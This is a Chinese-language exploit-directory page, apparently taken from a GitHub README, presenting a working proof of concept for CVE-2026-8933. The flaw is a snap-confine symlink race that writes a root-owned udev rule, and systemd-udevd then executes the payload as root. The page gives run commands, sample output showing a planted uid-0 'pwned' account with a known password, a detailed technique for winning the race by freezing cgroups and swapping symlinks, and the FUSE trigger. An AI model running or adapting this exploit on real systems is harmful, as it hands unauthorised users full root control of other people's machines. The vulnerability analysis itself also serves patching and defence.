Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-8933 — CVE-2026-8933 的可运行 PoC:一个 snap-confine 挂载命名空间符号链接竞态,植入由 root 所有的 udev 规则,通过 systemd-udevd 获取本地 root 权限。 | Kitploit
工具/GitHubGitHub/songzzzz/cve-2026-8933
权限提升漏洞分析漏洞利用Payload 开发
GitHubsongzzzz/cve-2026-8933

CVE-2026-8933

CVE-2026-8933 的可运行 PoC:一个 snap-confine 挂载命名空间符号链接竞态,植入由 root 所有的 udev 规则,通过 systemd-udevd 获取本地 root 权限。

查看仓库
321天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-8933 — snap-confine 挂载命名空间竞态 → 本地 root shell

可用的 PoC。完整本地权限提升已端到端复现,从非特权用户(uid 1000)到真实的 uid-0 root shell——无需密码、无需交互、无需任何预先存在的权限。

一个非特权进程使具备 capabilities 的 snap-confine 将一条 root 所有的 udev 规则写入主机的 /run/udev/rules.d/;随后 systemd-udevd 以 root 身份执行该规则的 PROGRAM= 载荷。内置载荷会植入一个 uid-0 账户并设置已知密码,因此 su - pwned(或 ./_rootshell.py)即可交出一个 root shell。

组件snap-confine → sc_replicate_base_rootfs()(snapd 2.73 源码见 _msc_273.c;受测主机运行 snapd 2.76.3,仍可被利用)
类别本地权限提升(符号链接竞态 → 在 /run/udev/** 中任意创建 root 所有的文件 → 以 root 身份执行代码)
结果从非特权账户获得 uid=0(root) shell
可靠性16 次运行:7 次首次尝试即成功,其余在第二次成功;从未超过 2 次
可移植性与主机无关:目标 snap、应用名、cgroup scope、uid 和 snap-confine 路径均在运行时检测
需要 root否(见 §9)

目录

TL;DR · 1. 快速开始 · 2. 环境要求 · 3. 预期结果 · 4. 漏洞原理 · 5. 赢得竞态 · 6. 载荷 · 7. 包内容 · 8. 配置 · 9. 权限与清理 · 10. 影响与修复 · 故障排查 · 参考资料 · 免责声明

TL;DR

cd <package dir>
bash _t18poc.sh 100% 12        # ~1–2 min, no password required

预期输出(节选):

### 1. win race 1 + race 2 and plant the udev rule
[PASS] root-owned udev rule planted on attempt 1
-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
content: PROGRAM="/tmp/8933-payload.sh"

### 2. make systemd-udevd execute the payload as root (FUSE mount trigger)
[PASS] udev ran the payload as: uid=0(root) gid=0(root) groups=0(root)
[PASS] uid-0 account planted: pwned:$6$...:0:0:root:/root:/bin/bash

### 3. root shell
  credentials: pwned / pwned (uid 0)
  root@host:~# id; whoami
  uid=0(root) gid=0(root) groups=0(root)
  root

驱动程序会自行清理(规则、payload、植入的账户、临时目录及其挂载点)。KEEP=1 会保留该账户,以便之后可以交互式使用 root shell:

KEEP=1 bash _t18poc.sh 100% 12
./_rootshell.py                  # interactive root shell (password typed for you)
./_rootshell.py -c 'id'          # one-shot command as root
su - pwned                       # or just this, password: pwned

1. 快速开始

cd <package dir>

./t18 info                       # optional: which snap is the target?
bash _t18poc.sh 100% 12          # quota, max attempts

_t18poc.sh [quota] [attempts] 会构建 t18 + _ftrig,检测目标, 运行漏洞利用直到成功,触发 udevd,验证 root payload 并 进行清理。100% 12 是下文所有测量中使用的值;0.3% 40 同样可行(更严格的配额,更多尝试次数)。

在改动任何内容之前,驱动程序会打印自动检测到的目标:

target snap : firefox (regular files in its rootfs: 4)
snap-confine: /usr/lib/snapd/snap-confine
user scope  : snap.firefox.firefox.scope
snapd       : 2.76.3

2. 要求

  • 一台 systemd 主机(用户管理器正在运行——该漏洞利用会驱动用户 scope 上的 cgroup.freeze),
  • 存在漏洞的 snap-confine,以 set-capabilities 方式安装 (cap_chown,cap_dac_override,cap_sys_admin,…)——而非 set-uid-root,
  • gcc + libfuse3(pkg-config fuse3)用于构建 t18 和 _ftrig,
  • 至少安装了一个 snap,其 /snap/<snap>/current 目录的顶层包含一个 普通文件——正是该 DT_REG 条目使存在漏洞的 open() 得以执行(例如 firefox、core22 等)。任何此类 snap 均可; SNAP=<name> 可强制指定某一个。

./t18 info 会打印检测到的目标的 snap、app、base、unit、scope、confine 以及条目/普通文件的数量,然后退出——这是快速判断某台主机在其已安装的 snap 下是否可被利用的方法。

3. 你应该看到什么

成功尝试的证据

[   22.478] marker seen (22.290 ms after start), drainer wrote cgroup.freeze=1
[   22.713] scope frozen (procs=2, dbg: unsharing the mount namespace (per-snap))
[   25.153] pre-bind swap: symlinks A=4 B=4 rmdir=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dA)=0 (ok)
[   35.077] window after 39 steps: mounts=2 tmpfs=1 squashfs=0
[   35.416] symlink swap: unlink(/tmp/snap.rootfs_bTvhoA)=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dB)=0 (ok)
[   35.556] symlinks in dB: 4/4 -> /run/udev/rules.d/8933-cve-1.rules
[   41.012] spinner: rule written into the root-owned file
[   42.362] phase 2: 180 slices, win=1 (udev rule written)
[   42.392] snap-confine exited (status 1)
snap-confine: cannot perform operation: mount --bind /snap/<snap>/current/default256.png \
             /tmp/snap.rootfs_bTvhoA/default256.png: Permission denied

由具有 root 权限的 snap-confine 在主机上创建的文件:

-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
PROGRAM="/tmp/8933-payload.sh"

以及它所指向的 payload 脚本(由 uid 1000 写入,由 systemd-udevd 以 uid 0 执行):

-rwxr-xr-x 1 user user /tmp/8933-payload.sh
uid=0(root) gid=0(root) groups=0(root)          <- /tmp/.pwned.root

snap-confine 随后立即终止,原因是对同一条目的 bind mount 被 AppArmor 拒绝——此时文件已经创建并填充完毕。

Root shell

$ echo pwned | su - pwned -c 'id; grep ^root: /etc/shadow'
Password: uid=0(root) gid=0(root) groups=0(root)
root:$6$...:20134:0:99999:7:::                 <- /etc/shadow is root-only
$ ./_rootshell.py                              # pty + auto-typed password
root@host:~# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root

可靠性

在研究版本和最终通用构建上共运行 _t18poc.sh 16 次,全部以 LPE 结束(其中 7 次在第一次尝试时成功,其余在第二次尝试时成功);没有任何一次运行需要超过 2 次尝试。每次运行都会自行清理(规则、payload、植入的账户、临时目录及其挂载点)。

4. 漏洞

snapd 2.73,sc_replicate_base_rootfs()(源码位于 _msc_273.c):

 511     if (mkdtemp(scratch_dir) == NULL)                    // /tmp/snap.rootfs_XXXXXX
 523     sc_do_mount(scratch_dir, scratch_dir, NULL, MS_BIND, NULL);
 530     sc_do_mount("none", scratch_dir, NULL, MS_UNBINDABLE, NULL);
 535         sc_do_mount("none", scratch_dir, "tmpfs", 0, "uid=0,gid=0");
 536         sc_replicate_base_rootfs(scratch_dir, config->rootfs_dir, config->mounts);
...
 362     if (chown(scratch_dir, 0, 0) < 0)  die(...);
...
 418             int fd = open(full_path, O_CREAT | O_TRUNC, 0644);   // no O_NOFOLLOW
 422             if (fchown(fd, 0, 0) < 0) die(...);
 428             sc_do_mount(src_path, full_path, NULL, MS_BIND, NULL);

snap-confine 安装时被赋予的是 set-capabilities(cap_chown、cap_dac_override、 cap_sys_admin 等),而非 set-uid-root,因此它在携带接近 root 权限的能力的同时,仍保持非特权的 euid。由此产生以下后果:

  • mkdtemp() 创建的 /tmp/snap.rootfs_XXXXXX 归攻击者所有 (位于第 511 行与第 362 行之间),并且
  • open(full_path, O_CREAT|O_TRUNC, 0644) 会跟随符号链接(没有 O_NOFOLLOW), 因此生成的文件在两行之后的 fchown() 执行之前一直归攻击者所有。

这两个窗口均可被非特权本地用户利用,这正是本 PoC 所做的事情。

5. 赢得竞态

竞态 1 — 临时目录(通过符号链接替换解决)

  1. SNAPD_DEBUG=1 + 用于 stderr 的管道 + 一个排空子进程,该子进程在标记 unsharing the mount namespace (per-snap) 出现的瞬间,将 cgroup.freeze=1 写入用户 scope 的 cgroup.freeze。这会在 mkdtemp() 之前 以约微秒级延迟冻结 snap-confine(轮询文件慢了 50–200 µs;对管道的 read() 会在写入者的上下文中被唤醒)。于是竞态不再是竞态——该 scope 通过 cgroup.freeze 被确定性地逐步推进(大约每个切片一次系统调用)。
  2. 在其被冻结期间:rmdir("/tmp/snap.rootfs_XXXXXX")(我们拥有它)并 symlink("/tmp/snap.rootfs_XXXXXX.dA", "/tmp/snap.rootfs_XXXXXX")。 mount(2) 会跟随目标路径中的符号链接,因此第 523/530/535 行的 MS_BIND/MS_UNBINDABLE/tmpfs 挂载全部落在 .dA 上,而 snap-confine 的 scratch_dir 字符串仍通过我们的符号链接解析。
  3. 逐步推进该 scope,直到 /proc/<pid>/mounts 显示 mounts=2 tmpfs=1 squashfs=0——第 535 行的 tmpfs 已挂载,而第 536 行的 复制循环尚未运行。
  4. unlink() 该符号链接,并重新创建它指向 .dB,这是第二个目录,持有相同的 符号链接农场,但不被 tmpfs 覆盖。此时循环将 scratch_dir/<entry> 解析到 .dB 中。

竞态 2 — 文件所有权(在 fchown 窗口内写入)

.dB 中包含以基础 rootfs 的常规文件命名的符号链接(此处为 firefox snap 的 default256.png、firefox.desktop 等——在另一台主机上则简单地是 /snap/<snap>/current 的 DT_REG 条目),指向目标路径,例如 /run/udev/rules.d/8933-cve-1.rules(2.73 的 AppArmor 配置文件允许 /run/udev/** rw)。一个自旋子进程以如下方式反复冲击目标:

  • chmod(target, 0666)——仅在新创建的文件仍归我们所有时成功,且该模式在随后的 fchown() 之后依然保留,从而留下一个全局可写的 root 所有文件,以及
  • open(O_WRONLY) + pwrite(RULE) + ftruncate()——在文件仍归我们所有时写入规则, 同样能在 fchown() 之后保留。

利用的第二阶段以约 1 µs 的切片持续交出该 scope,因此复制循环的每个系统调用边界 都会为自旋子进程保持冻结。自旋子进程会持续重写,直到 snap-confine 消失, 这样之后对同一条目的 open(O_TRUNC) 就无法吞掉该规则。

触发载荷

挂载一个 FUSE 文件系统(_ftrig;任何非特权 FUSE 挂载均可)会产生一个 uevent; systemd-udevd 会自动拾取 /run/udev/rules.d/ 中的新文件(无需 udevadm control --reload),并以 root 身份运行 PROGRAM="/tmp/8933-payload.sh"。

下载工具